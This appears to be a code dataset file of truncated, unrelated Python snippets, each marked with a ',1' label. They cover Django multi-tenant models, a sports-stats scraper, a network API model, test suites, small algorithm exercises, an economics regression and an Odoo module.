routing was used """""" _previous_tenant = [] class Meta: abstract = True def __enter__(self): """""" Syntax sugar which helps in celery tasks, cron jobs, and other scripts Usage: with Tenant.objects.get(schema_name='test') as tenant: # run some code in tenant test # run some code in previous tenant (public probably) """""" connection = connections[get_tenant_database_alias()] self._previous_tenant.append(connection.tenant) self.activate() return self def __exit__(self, exc_type, exc_val, exc_tb): connection = connections[get_tenant_database_alias()] connection.set_tenant(self._previous_tenant.pop()) def activate(self): """""" Syntax sugar that helps at django shell with fast tenant changing Usage: Tenant.objects.get(schema_name='test').activate() """""" connection = connections[get_tenant_database_alias()] connection.set_tenant(self) @classmethod def deactivate(cls): """""" Syntax sugar, return to public schema Usage: test_tenant.deactivate() # or simpler Tenant.deactivate() """""" connection = connections[get_tenant_database_alias()] connection.set_schema_to_public() def save(self, verbosity=1, *args, **kwargs): connection = connections[get_tenant_database_alias()] is_new = self.pk is None has_schema = hasattr(connection, 'schema_name') if has_schema and is_new and connection.schema_name != get_public_schema_name(): raise Exception(""Can't create tenant outside the public schema. "" ""Current schema is %s."" % connection.schema_name) elif has_schema and not is_new and connection.schema_name not in (self.schema_name, get_public_schema_name()): raise Exception(""Can't update tenant outside it's own schema or "" ""the public schema. Current schema is %s."" % connection.schema_name) super().save(*args, **kwargs) if has_schema and is_new and self.auto_create_schema: try: self.create_schema(check_if_exists=True, verbosity=verbosity) post_schema_sync.send(sender=TenantMixin, tenant=self.serializable_fields()) except Exception: # We failed creating the tenant, delete what we created and # re-raise the exception self.delete(force_drop=True) raise elif is_new: # although we are not using the schema functions directly, the signal might be registered by a listener schema_needs_to_be_sync.send(sender=TenantMixin, tenant=self.serializable_fields()) elif not is_new and self.auto_create_schema and not schema_exists(self.schema_name): # Create schemas for existing models, deleting only the schema on failure try: self.create_schema(check_if_exists=True, verbosity=verbosity) post_schema_sync.send(sender=TenantMixin, tenant=self.serializable_fields()) except Exception: # We failed creating the schema, delete what we created and # re-raise the exception self._drop_schema() raise def serializable_fields(self): """""" in certain cases the user model isn't serializable so you may want to only send the id """""" return self def _drop_schema(self, force_drop=False): """""" Drops the schema"""""" connection = connections[get_tenant_database_alias()] has_schema = hasattr(connection, 'schema_name') if has_schema and connection.schema_name not in (self.schema_name, get_public_schema_name()): raise Exception(""Can't delete tenant outside it's own schema or "" ""the public schema. Current schema is %s."" % connection.schema_name) if has_schema and schema_exists(self.schema_name) and (self.auto_drop_schema or force_drop): self.pre_drop() cursor = connection.cursor() cursor.execute('DROP SCHEMA ""%s"" CASCADE' % self.schema_name) def pre_drop(self): """""" This is a routine which you could override to backup the tenant schema before dropping. :return: """""" def delete(self, force_drop=False, *args, **kwargs): """""" Deletes this row. Drops the tenant's schema if the attribute auto_drop_schema set to True. """""" self._drop_schema(force_drop) super().delete(*args, **kwargs) def create_schema(self, check_if_exists=False, sync_schema=True, verbosity=1): """""" Creates the schema 'schema_name' for this tenant. Optionally checks if the schema already exists before creating it. Returns true if the schema was created, false otherwise. """""" # safety check connection = connections[get_tenant_database_alias()] _check_schema_name(self.schema_name) cursor = connection.cursor() if check_if_exists and schema_exists(self.schema_name): return False fake_migrations = get_creation_fakes_migrations() if sync_schema: if fake_migrations: # copy tables and data from provided model schema base_schema = get_tenant_base_schema() clone_schema = CloneSchema() clone_schema.clone_schema(base_schema, self.schema_name) call_command('migrate_schemas', tenant=True, fake=True, schema_name=self.schema_name, interactive=False, verbosity=verbosity) else: # create the schema cursor.execute('CREATE SCHEMA ""%s""' % self.schema_name) call_command('migrate_schemas', tenant=True, schema_name=self.schema_name, interactive=False, verbosity=verbosity) connection.set_schema_to_public() def get_primary_domain(self): """""" Returns the primary domain of the tenant """""" try: domain = self.domains.get(is_primary=True) return domain except get_tenant_domain_model().DoesNotExist: return None def reverse(self, request, view_name): """""" Returns the URL of this tenant. """""" http_type = 'https://' if request.is_secure() else 'http://' domain = get_current_site(request).domain url = ''.join((http_type, self.schema_name, '.', domain, reverse(view_name))) return url def get_tenant_type(self): """""" Get the type of tenant. Will only work for multi type tenants :return: str """""" return getattr(self, settings.MULTI_TYPE_DATABASE_FIELD) class DomainMixin(models.Model): """""" All models that store the domains must inherit this class """""" domain = models.CharField(max_length=253, unique=True, db_index=True) tenant = models.ForeignKey(settings.TENANT_MODEL, db_index=True, related_name='domains', on_delete=models.CASCADE) # Set this to true if this is the primary domain is_primary = models.BooleanField(default=True, db_index=True) @transaction.atomic def save(self, *args, **kwargs): # Get all other primary domains with the same tenant domain_list = self.__class__.objects.filter(tenant=self.tenant, is_primary=True).exclude(pk=self.pk) # If we have no primary domain yet, set as primary domain by default self.is_primary = self.is_primary or (not domain_list.exists()) if self.is_primary: # Remove primary status of existing domains for tenant domain_list.update(is_primary=False) super().save(*args, **kwargs) class Meta: abstract = True ",1 " 'wr': 4, 'te': 5, } def make_url(pos, wk): ii = pos_idx_map[pos] fstr = ""http://fantasydata.com/nfl-stats/nfl-fantasy-football-stats.aspx?fs=1&stype=0&sn=1&w=%s&s=&t=0&p=%s&st=FantasyPointsPPR&d=1&ls=&live=false"" \ % (wk, ii) return fstr def html2df(soup): table = soup.find('table') headers = [header.text.lower() for header in table.find_all('th')] rows = [] for row in table.find_all('tr'): rows.append([val.text.encode('utf8') for val in row.find_all('td')]) rows = [rr for rr in rows if len(rr) > 0] df = pd.DataFrame.from_records(rows) df.columns = headers return df def position_html_local(posn): dflist = [] for ii in range(1, 17): fname = '%s%s.html' % (posn, ii) with open(fname) as f: df = html2df(BeautifulSoup(f)) df['wk'] = ii df.columns = header_clean(df.columns, posn) dflist.append(df) return pd.concat(dflist) def position_html(posn): dflist = [] for ii in range(1, 17): fname = make_url(posn, ii) df = html2df(BeautifulSoup(urlopen(fname))) df['wk'] = ii df.columns = header_clean(df.columns, posn) dflist.append(df) return pd.concat(dflist) pos_header_suffixes = { 'qb': ['_pass', '_rush'], 'rb': ['_rush', '_recv'], 'wr': ['_recv'], 'te': ['_recv'], } exclude_cols = ['rk', 'player', 'team', 'pos', 'fantasy points', 'wk', 'fum', 'lost', 'qb rating'] def header_clean(header, posn): res = [] if posn in pos_header_suffixes: suffixes = pos_header_suffixes[posn] seen_dict = {hh: 0 for hh in header} for hh in header: if not hh in exclude_cols: hres = hh + suffixes[seen_dict[hh]] seen_dict[hh] += 1 res.append(hres) else: res.append(hh) else: res = header return res if __name__ == '__main__': data_all = {} for pp in ['qb', 'wr', 'rb', 'te']: data_all[pp] = position_html_local(pp) data_all[pp].to_pickle('%s.pkl' % pp) ",1 "forms, with or without # modification, are permitted provided that the following conditions are met: # * Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # * Neither the name of the copyright holder nor the names of its contributors # may be used to endorse or promote products derived from this software without # specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ""AS IS"" AND # ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED # WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE # DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY # DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES # (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; # LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND # ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS # SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. from .fetchers import NUPermissionsFetcher from .fetchers import NUMetadatasFetcher from .fetchers import NUGlobalMetadatasFetcher from bambou import NURESTObject class NUVMResync(NURESTObject): """""" Represents a VMResync in the VSD Notes: Provide information about the state of a VM resync request. """""" __rest_name__ = ""resync"" __resource_name__ = ""resync"" ## Constants CONST_STATUS_IN_PROGRESS = ""IN_PROGRESS"" CONST_ENTITY_SCOPE_GLOBAL = ""GLOBAL"" CONST_STATUS_SUCCESS = ""SUCCESS"" CONST_ENTITY_SCOPE_ENTERPRISE = ""ENTERPRISE"" def __init__(self, **kwargs): """""" Initializes a VMResync instance Notes: You can specify all parameters while calling this methods. A special argument named `data` will enable you to load the object from a Python dictionary Examples: >>> vmresync = NUVMResync(id=u'xxxx-xxx-xxx-xxx', name=u'VMResync') >>> vmresync = NUVMResync(data=my_dict) """""" super(NUVMResync, self).__init__() # Read/Write Attributes self._last_request_timestamp = None self._last_time_resync_initiated = None self._last_updated_by = None self._last_updated_date = None self._embedded_metadata = None self._entity_scope = None self._creation_date = None self._status = None self._owner = None self._external_id = None self.expose_attribute(local_name=""last_request_timestamp"", remote_name=""lastRequestTimestamp"", attribute_type=int, is_required=False, is_unique=False) self.expose_attribute(local_name=""last_time_resync_initiated"", remote_name=""lastTimeResyncInitiated"", attribute_type=int, is_required=False, is_unique=False) self.expose_attribute(local_name=""last_updated_by"", remote_name=""lastUpdatedBy"", attribute_type=str, is_required=False, is_unique=False) self.expose_attribute(local_name=""last_updated_date"", remote_name=""lastUpdatedDate"", attribute_type=str, is_required=False, is_unique=False) self.expose_attribute(local_name=""embedded_metadata"", remote_name=""embeddedMetadata"", attribute_type=list, is_required=False, is_unique=False) self.expose_attribute(local_name=""entity_scope"", remote_name=""entityScope"", attribute_type=str, is_required=False, is_unique=False, choices=[u'ENTERPRISE', u'GLOBAL']) self.expose_attribute(local_name=""creation_date"", remote_name=""creationDate"", attribute_type=str, is_required=False, is_unique=False) self.expose_attribute(local_name=""status"", remote_name=""status"", attribute_type=str, is_required=False, is_unique=False, choices=[u'IN_PROGRESS', u'SUCCESS']) self.expose_attribute(local_name=""owner"", remote_name=""owner"", attribute_type=str, is_required=False, is_unique=False) self.expose_attribute(local_name=""external_id"", remote_name=""externalID"", attribute_type=str, is_required=False, is_unique=True) # Fetchers self.permissions = NUPermissionsFetcher.fetcher_with_object(parent_object=self, relationship=""child"") self.metadatas = NUMetadatasFetcher.fetcher_with_object(parent_object=self, relationship=""child"") self.global_metadatas = NUGlobalMetadatasFetcher.fetcher_with_object(parent_object=self, relationship=""child"") self._compute_args(**kwargs) # Properties @property def last_request_timestamp(self): """""" Get last_request_timestamp value. Notes: Time of the last timestamp received This attribute is named `lastRequestTimestamp` in VSD API. """""" return self._last_request_timestamp @last_request_timestamp.setter def last_request_timestamp(self, value): """""" Set last_request_timestamp value. Notes: Time of the last timestamp received This attribute is named `lastRequestTimestamp` in VSD API. """""" self._last_request_timestamp = value @property def last_time_resync_initiated(self): """""" Get last_time_resync_initiated value. Notes: Time that the resync was initiated This attribute is named `lastTimeResyncInitiated` in VSD API. """""" return self._last_time_resync_initiated @last_time_resync_initiated.setter def last_time_resync_initiated(self, value): """""" Set last_time_resync_initiated value. Notes: Time that the resync was initiated This attribute is named `lastTimeResyncInitiated` in VSD API. """""" self._last_time_resync_initiated = value @property def last_updated_by(self): """""" Get last_updated_by value. Notes: ID of the user who last updated the object. This attribute is named `lastUpdatedBy` in VSD API. """""" return self._last_updated_by @last_updated_by.setter def last_updated_by(self, value): """""" Set last_updated_by value. Notes: ID of the user who last updated the object. This attribute is named `lastUpdatedBy` in VSD API. """""" self._last_updated_by = value @property def last_updated_date(self): """""" Get last_updated_date value. Notes: Time stamp when this object was last updated. This attribute is named `lastUpdatedDate` in VSD API. """""" return self._last_updated_date @last_updated_date.setter def last_updated_date(self, value): """""" Set last_updated_date value. Notes: Time stamp when this object was last updated. This attribute is named `lastUpdatedDate` in VSD API. """""" self._last_updated_date = value @property def embedded_metadata(self): """""" Get embedded_metadata value. Notes: Metadata objects associated with this entity. This will contain a list of Metadata objects if the API request is made using the special flag to enable the embedded Metadata feature. Only a maximum of Metadata objects is returned based on the value set in the system configuration. This attribute is named `embeddedMetadata` in VSD API. """""" return self._embedded_metadata @embedded_metadata.setter def embedded_metadata(self, value): """""" Set embedded_metadata value. Notes: Metadata objects associated with this entity. This will contain a list of Metadata objects if the API request is made using the special flag to enable the embedded Metadata feature. Only a maximum of Metadata objects is returned based on the value set in the system configuration. This attribute is named `embeddedMetadata` in VSD API. """""" self._embedded_metadata = value @property def entity_scope(self): """""" Get entity_scope value. Notes: Specify if scope of entity is Data center or Enterprise level This attribute is named `entityScope` in VSD API. """""" return self._entity_scope @entity_scope.setter def entity_scope(self, value): """""" Set entity_scope value. Notes: Specify if scope of entity is Data center or Enterprise level This attribute is named `entityScope` in VSD API. """""" self._entity_scope = value @property def creation_date(self): """""" Get creation_date value. Notes: Time stamp when this object was created. This attribute is named `creationDate` in VSD API. """""" return self._creation_date @creation_date.setter def creation_date(self, value): """""" Set creation_date value. Notes: Time stamp when this object was created. This attribute is named `creationDate` in VSD API. """""" self._creation_date = value @property def status(self): """""" Get status value. Notes: Status of the resync """""" return self._status @status.setter def status(self, value): """""" Set status value. Notes: Status of the resync """""" self._status = value @property def owner(self): """""" Get owner value. Notes: Identifies the user that has created this object. """""" return self._owner @owner.setter def owner(self, value): """""" Set owner value. Notes: Identifies the user that has created this object. """""" self._owner = value @property def external_id(self): """""" Get external_id value. Notes: External object ID. Used for integration with third party systems This attribute is named `externalID` in VSD API. """""" return self._external_id @external_id.setter def external_id(self, value): """""" Set external_id value. Notes: External object ID. Used for integration with third party systems This attribute is named `externalID` in VSD API. """""" self._external_id = value ",1 "__ / / __/ ___/ ___/ __ `/_ / / _ \ # +------+ / /_/ / / /_/ /__/ / / /_/ / / /_/ __/ # || || /_____/_/\__/\___/_/ \__,_/ /___/\___/ # # Copyright (C) 2014 Bitcraze AB # # Crazyflie Nano Quadcopter Client # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, # MA 02110-1301, USA. """""" Find all the available input interfaces and try to initialize them. """""" import os import glob import logging from ..inputreaderinterface import InputReaderInterface __author__ = 'Bitcraze AB' __all__ = ['InputInterface'] logger = logging.getLogger(__name__) found_interfaces = [os.path.splitext(os.path.basename(f))[0] for f in glob.glob(os.path.dirname(__file__) + ""/[A-Za-z]*.py"")] if len(found_interfaces) == 0: found_interfaces = [os.path.splitext(os.path.basename(f))[0] for f in glob.glob(os.path.dirname(__file__) + ""/[A-Za-z]*.pyc"")] logger.info(""Found interfaces: {}"".format(found_interfaces)) initialized_interfaces = [] available_interfaces = [] for interface in found_interfaces: try: module = __import__(interface, globals(), locals(), [interface], 1) main_name = getattr(module, ""MODULE_MAIN"") initialized_interfaces.append(getattr(module, main_name)()) logger.info(""Successfully initialized [{}]"".format(interface)) except Exception as e: logger.info(""Could not initialize [{}]: {}"".format(interface, e)) def devices(): # Todo: Support rescanning and adding/removing devices if len(available_interfaces) == 0: for reader in initialized_interfaces: devs = reader.devices() for dev in devs: available_interfaces.append(InputInterface( dev[""name""], dev[""id""], reader)) return available_interfaces class InputInterface(InputReaderInterface): def __init__(self, dev_name, dev_id, dev_reader): super(InputInterface, self).__init__(dev_name, dev_id, dev_reader) # These devices cannot be mapped and configured self.supports_mapping = False # Ask the reader if it wants to limit # roll/pitch/yaw/thrust for all devices self.limit_rp = dev_reader.limit_rp self.limit_thrust = dev_reader.limit_thrust self.limit_yaw = dev_reader.limit_yaw def open(self): self._reader.open(self.id) def close(self): self._reader.close(self.id) def read(self, include_raw=False): mydata = self._reader.read(self.id) # Merge interface returned data into InputReader Data Item for key in list(mydata.keys()): self.data.set(key, mydata[key]) return self.data ",1 "t.migrate import MigrateCommand from foobar.app import create_app from foobar.user.models import User from foobar.settings import DevConfig, ProdConfig from foobar.database import db if os.environ.get(""FOOBAR_ENV"") == 'prod': app = create_app(ProdConfig) else: app = create_app(DevConfig) HERE = os.path.abspath(os.path.dirname(__file__)) TEST_PATH = os.path.join(HERE, 'tests') manager = Manager(app) def _make_context(): """"""Return context dict for a shell session so you can access app, db, and the User model by default. """""" return {'app': app, 'db': db, 'User': User} @manager.command def test(): """"""Run the tests."""""" import pytest exit_code = pytest.main([TEST_PATH, '--verbose']) return exit_code manager.add_command('server', Server()) manager.add_command('shell', Shell(make_context=_make_context)) manager.add_command('db', MigrateCommand) if __name__ == '__main__': manager.run() ",1 "is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # SickChill is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with SickChill. If not, see . """""" Test shows """""" # pylint: disable=line-too-long from __future__ import print_function, unicode_literals import os import sys import unittest sys.path.insert(1, os.path.abspath(os.path.join(os.path.dirname(__file__), '../../../lib'))) sys.path.insert(1, os.path.abspath(os.path.join(os.path.dirname(__file__), '../../..'))) import sickbeard import six from sickbeard.common import Quality from sickbeard.tv import TVShow from sickchill.helper.exceptions import MultipleShowObjectsException from sickchill.show.Show import Show class ShowTests(unittest.TestCase): """""" Test shows """""" def test_find(self): """""" Test find tv shows by indexer_id """""" sickbeard.QUALITY_DEFAULT = Quality.FULLHDTV sickbeard.showList = [] show123 = TestTVShow(0, 123) show456 = TestTVShow(0, 456) show789 = TestTVShow(0, 789) shows = [show123, show456, show789] shows_duplicate = shows + shows test_cases = { (False, None): None, (False, ''): None, (False, '123'): None, (False, 123): None, (False, 12.3): None, (True, None): None, (True, ''): None, (True, '123'): None, (True, 123): show123, (True, 12.3): None, (True, 456): show456, (True, 789): show789, } unicode_test_cases = { (False, ''): None, (False, '123'): None, (True, ''): None, (True, '123'): None, } for tests in test_cases, unicode_test_cases: for ((use_shows, indexer_id), result) in six.iteritems(tests): if use_shows: self.assertEqual(Show.find(shows, indexer_id), result) else: self.assertEqual(Show.find(None, indexer_id), result) with self.assertRaises(MultipleShowObjectsException): Show.find(shows_duplicate, 456) def test_validate_indexer_id(self): """""" Tests if the indexer_id is valid and if so if it returns the right show """""" sickbeard.QUALITY_DEFAULT = Quality.FULLHDTV sickbeard.showList = [] show123 = TestTVShow(0, 123) show456 = TestTVShow(0, 456) show789 = TestTVShow(0, 789) sickbeard.showList = [ show123, show456, show789, ] invalid_show_id = ('Invalid show ID', None) indexer_id_list = [ None, '', '', '123', '123', '456', '456', '789', '789', 123, 456, 789, ['123', '456'], ['123', '456'], [123, 456] ] results_list = [ invalid_show_id, invalid_show_id, invalid_show_id, (None, show123), (None, show123), (None, show456), (None, show456), (None, show789), (None, show789), (None, show123), (None, show456), (None, show789), invalid_show_id, invalid_show_id, invalid_show_id ] self.assertEqual( len(indexer_id_list), len(results_list), 'Number of parameters ({0:d}) and results ({1:d}) does not match'.format(len(indexer_id_list), len(results_list)) ) for (index, indexer_id) in enumerate(indexer_id_list): self.assertEqual(Show._validate_indexer_id(indexer_id), results_list[index]) # pylint: disable=protected-access class TestTVShow(TVShow): """""" A test `TVShow` object that does not need DB access. """""" def __init__(self, indexer, indexer_id): super(TestTVShow, self).__init__(indexer, indexer_id) def loadFromDB(self): """""" Override TVShow.loadFromDB to avoid DB access during testing """""" pass if __name__ == '__main__': print('=====> Testing {0}'.format(__file__)) SUITE = unittest.TestLoader().loadTestsFromTestCase(ShowTests) unittest.TextTestRunner(verbosity=2).run(SUITE) ",1 "int' GJSLINT_OPTIONS = ['--strict'] JS_BASE_FOLDER = os.path.join('skylines', 'public', 'js') JS_FILES = [ 'baro.js', 'fix-table.js', 'flight.js', 'general.js', 'map.js', 'phase-table.js', 'topbar.js', 'tracking.js', 'units.js', ] def test_js_files(): for filename in JS_FILES: f = partial(run_gjslint, filename) f.description = 'gjslint {}'.format(filename) yield f def run_gjslint(filename): path = os.path.join(JS_BASE_FOLDER, filename) args = [GJSLINT_COMMAND] args.extend(GJSLINT_OPTIONS) args.append(path) try: run(args) except CalledProcessError, e: print e.output raise AssertionError('gjslint has found errors.') except OSError: raise OSError('Failed to run gjslint. Please check that you have ' 'installed it properly.') if __name__ == ""__main__"": sys.argv.append(__name__) nose.run() ",1 "r with same digits is 1243 ''' def FindNext(num): number = str(num) length = len(number) for i in range(length-2,-1,-1): current = number[i] right = number[i+1] if current < right: temp = sorted(number[i:]) Next = temp[temp.index(current)+1] temp.remove(Next) temp = ''.join(temp) return int(number[:i]+Next+temp) return num ",1 "ula.api as smf from openfisca_france_indirect_taxation.examples.utils_example import simulate_df_calee_by_grosposte if __name__ == '__main__': import logging log = logging.getLogger(__name__) import sys logging.basicConfig(level = logging.INFO, stream = sys.stdout) simulated_variables = [ 'pondmen', 'revtot', 'rev_disp_loyerimput', 'depenses_carburants', 'depenses_essence', 'depenses_diesel', 'strate', 'nenfants', 'nadultes', 'situacj', 'situapr', 'niveau_vie_decile' ] for year in [2005]: data_for_reg = simulate_df_calee_by_grosposte(simulated_variables = simulated_variables, year = year) # In 2005 3 people consume fuel while their rev_disp_loyerimput is 0. Creates inf number in part_carburants data_for_reg = data_for_reg[data_for_reg['rev_disp_loyerimput'] > 0] data_for_reg['rev_disp_loyerimput_2'] = data_for_reg['rev_disp_loyerimput'] ** 2 data_for_reg['part_carburants'] = data_for_reg['depenses_carburants'] / data_for_reg['rev_disp_loyerimput'] data_for_reg['part_diesel'] = data_for_reg['depenses_diesel'] / data_for_reg['rev_disp_loyerimput'] data_for_reg['part_essence'] = data_for_reg['depenses_essence'] / data_for_reg['rev_disp_loyerimput'] data_for_reg['rural'] = 0 data_for_reg['petite_villes'] = 0 data_for_reg['villes_moyennes'] = 0 data_for_reg['grandes_villes'] = 0 data_for_reg['agglo_paris'] = 0 data_for_reg.loc[data_for_reg['strate'] == 0, 'rural'] = 1 data_for_reg.loc[data_for_reg['strate'] == 1, 'petite_villes'] = 1 data_for_reg.loc[data_for_reg['strate'] == 2, 'villes_moyennes'] = 1 data_for_reg.loc[data_for_reg['strate'] == 3, 'grandes_villes'] = 1 data_for_reg.loc[data_for_reg['strate'] == 4, 'agglo_paris'] = 1 deciles = ['decile_1', 'decile_2', 'decile_3', 'decile_4', 'decile_5', 'decile_6', 'decile_7', 'decile_8', 'decile_9', 'decile_10'] for decile in deciles: data_for_reg[decile] = 0 number = decile.replace('decile_', '') data_for_reg.loc[data_for_reg['niveau_vie_decile'] == int(number), decile] = 1 # Situation vis-à-vis de l'emploi : # Travaille : emploi, stage, étudiant # Autres : chômeurs, retraités, personnes au foyer, autres data_for_reg['cj_travaille'] = 0 data_for_reg['pr_travaille'] = 0 data_for_reg.loc[data_for_reg['situacj'] < 4, 'cj_travaille'] = 1 data_for_reg.loc[data_for_reg['situacj'] == 0, 'cj_travaille'] = 0 data_for_reg.loc[data_for_reg['situapr'] < 4, 'pr_travaille'] = 1 data_for_reg['travaille'] = data_for_reg['cj_travaille'] + data_for_reg['pr_travaille'] regression_carburants = smf.ols(formula = 'part_carburants ~ \ decile_1 + decile_2 + decile_3 + decile_4 + decile_5 + decile_6 + decile_7 + decile_8 + decile_9 + \ rural + petite_villes + grandes_villes + agglo_paris + \ nenfants + nadultes + travaille', data = data_for_reg).fit() print regression_carburants.summary() regression_diesel = smf.ols(formula = 'part_diesel ~ \ decile_1 + decile_2 + decile_3 + decile_4 + decile_5 + decile_6 + decile_7 + decile_8 + decile_9 + \ rural + petite_villes + grandes_villes + agglo_paris + \ nenfants + nadultes + travaille', data = data_for_reg).fit() print regression_diesel.summary() regression_essence = smf.ols(formula = 'part_essence ~ \ decile_1 + decile_2 + decile_3 + decile_4 + decile_5 + decile_6 + decile_7 + decile_8 + decile_9 + \ rural + petite_villes + grandes_villes + agglo_paris + \ nenfants + nadultes + travaille', data = data_for_reg).fit() print regression_essence.summary() # It is tempting to add a variable 'vehicule'. However, I think it is a case of bad control. It captures part # of the effect we actually want to estimate. ",1 "een and file logging. :return: The log filename """""" # set up DEBUG logging to file, INFO logging to STDERR log_file = os.path.join(tempfile.gettempdir(), 'spfy.log') formatter = logging.Formatter( '%(asctime)s %(name)-12s %(levelname)-8s %(message)s') # set up logging to file - see previous section for more details logging.basicConfig(level=logging.DEBUG, format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s', datefmt='%m-%d %H:%M', filename=log_file, filemode='w') # define a Handler which writes INFO messages or higher to the sys.stderr console = logging.StreamHandler() console.setFormatter(formatter) console.setLevel(logging.INFO) # add the handler to the root logger logging.getLogger('').addHandler(console) return log_file ",1 "rt Path from typing import Set import yaml from get_test_group import patterns_from_group __maintainer__ = 'adam' __contact__ = 'tools-infra-team@mesosphere.io' log = logging.getLogger(__file__) def _tests_from_pattern(ci_pattern: str) -> Set[str]: """""" From a CI pattern, get all tests ``pytest`` would collect. """""" tests = set([]) # type: Set[str] args = [ 'pytest', '--disable-pytest-warnings', '--collect-only', ci_pattern, '-q', ] # Test names will not be in ``stderr`` so we ignore that. result = subprocess.run( args=args, stdout=subprocess.PIPE, env={**os.environ, **{'PYTHONIOENCODING': 'UTF-8'}}, ) output = result.stdout for line in output.splitlines(): if b'error in' in line: message = ( 'Error collecting tests for pattern ""{ci_pattern}"". ' 'Full output:\n' '{output}' ).format( ci_pattern=ci_pattern, output=output, ) raise Exception(message) # Whitespace is important to avoid confusing pytest warning messages # with test names. For example, the pytest output may contain '3 tests # deselected' which would conflict with a test file called # test_agent_deselected.py if we ignored whitespace. if ( line and # Some tests show warnings on collection. b' warnings' not in line and # Some tests are skipped on collection. b'skipped in' not in line and # Some tests are deselected by the ``pytest.ini`` configuration. b' deselected' not in line and not line.startswith(b'no tests ran in') ): tests.add(line.decode()) return tests def test_test_groups() -> None: """""" The test suite is split into various ""groups"". This test confirms that the groups together contain all tests, and each test is collected only once. """""" test_group_file = Path('test_groups.yaml') test_group_file_contents = test_group_file.read_text() test_groups = yaml.load(test_group_file_contents)['groups'] test_patterns = [] for group in test_groups: test_patterns += patterns_from_group(group_name=group) # Turn this into a list otherwise we can't cannonically state whether every test was collected _exactly_ once :-) tests_to_patterns = defaultdict(list) # type: Mapping[str, List] for pattern in test_patterns: tests = _tests_from_pattern(ci_pattern=pattern) for test in tests: tests_to_patterns[test].append(pattern) errs = [] for test_name, patterns in tests_to_patterns.items(): message = ( 'Test ""{test_name}"" will be run once for each pattern in ' '{patterns}. ' 'Each test should be run only once.' ).format( test_name=test_name, patterns=patterns, ) if len(patterns) != 1: assert len(patterns) != 1, message errs.append(message) if errs: for message in errs: log.error(message) raise Exception(""Some tests are not collected exactly once, see errors."") all_tests = _tests_from_pattern(ci_pattern='') assert tests_to_patterns.keys() - all_tests == set() assert all_tests - tests_to_patterns.keys() == set() ",1 " # CHECK: -- Testing: # CHECK: FAIL: shtest-format :: external_shell/fail.txt # CHECK: *** TEST 'shtest-format :: external_shell/fail.txt' FAILED *** # CHECK: Command Output (stderr): # CHECK: cat: does-not-exist: No such file or directory # CHECK: -- # CHECK: PASS: shtest-format :: external_shell/pass.txt # CHECK: FAIL: shtest-format :: fail.txt # CHECK: UNRESOLVED: shtest-format :: no-test-line.txt # CHECK: PASS: shtest-format :: pass.txt # CHECK: UNSUPPORTED: shtest-format :: requires-missing.txt # CHECK: PASS: shtest-format :: requires-present.txt # CHECK: UNSUPPORTED: shtest-format :: unsupported_dir/some-test.txt # CHECK: XFAIL: shtest-format :: xfail-feature.txt # CHECK: XFAIL: shtest-format :: xfail-target.txt # CHECK: XFAIL: shtest-format :: xfail.txt # CHECK: XPASS: shtest-format :: xpass.txt # CHECK: Testing Time # CHECK: Unexpected Passing Tests (1) # CHECK: shtest-format :: xpass.txt # CHECK: Failing Tests (2) # CHECK: shtest-format :: external_shell/fail.txt # CHECK: shtest-format :: fail.txt # CHECK: Expected Passes : 3 # CHECK: Expected Failures : 3 # CHECK: Unsupported Tests : 2 # CHECK: Unresolved Tests : 1 # CHECK: Unexpected Passes : 1 # CHECK: Unexpected Failures: 2 ",1 "ultiples of 3 or 5, we get 3, 5, 6 and 9. The sum of these multiples is 23. Find the sum of all the multiples of 3 or 5 below 1000. """""" import numpy as np # Setup. num_max = 1000 basis = [3, 5] factors = [] for i in range(num_max): for k in basis: if not i % k: factors.append(i) break print('\nRange: {:d}'.format(num_max)) print('Number of factors: {:d}'.format(len(factors))) print('The answer: {:d}'.format(np.sum(factors))) # Done. ",1 "erp__.py file in module root # directory ############################################################################## from openerp import fields, models, api, _ from openerp.exceptions import Warning import logging _logger = logging.getLogger(__name__) class afip_incoterm(models.Model): _name = 'afip.incoterm' _description = 'Afip Incoterm' afip_code = fields.Char( 'Code', required=True) name = fields.Char( 'Name', required=True) class afip_point_of_sale(models.Model): _name = 'afip.point_of_sale' _description = 'Afip Point Of Sale' prefix = fields.Char( 'Prefix' ) sufix = fields.Char( 'Sufix' ) type = fields.Selection([ ('manual', 'Manual'), ('preprinted', 'Preprinted'), ('online', 'Online'), # Agregados por otro modulo # ('electronic', 'Electronic'), # ('fiscal_printer', 'Fiscal Printer'), ], 'Type', default='manual', required=True, ) name = fields.Char( compute='get_name', ) number = fields.Integer( 'Number', required=True ) company_id = fields.Many2one( 'res.company', 'Company', required=True, default=lambda self: self.env['res.company']._company_default_get( 'afip.point_of_sale') ) journal_ids = fields.One2many( 'account.journal', 